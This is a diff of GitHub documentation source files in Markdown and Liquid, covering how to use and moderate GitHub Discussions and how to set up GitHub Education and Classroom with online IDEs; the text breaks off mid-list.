repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)"  For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results.  1. In the list of discussions, click the discussion you want to view.  ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**.  1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**.  1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."  1. Click **Create**.  ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}.  1. {% data reusables.discussions.edit-category-details %}  1. Click **Save changes**.  ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}.  1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting.  1. Click **Delete & Move**.  108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**.  1. Optionally, customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  1. Customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**.  1. Read the warning, then click **Unpin discussion**.  ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**.  1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to.  1. Click **Transfer discussion**.  ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**.  1. Read the warning, then click **Delete this discussion**.  ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock.  1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.  1. Under "Features", click **Set up discussions**.  1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**.  ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen.  ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar.  For more information about using Git on Repl.it, see the [Repl.it + Git Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon 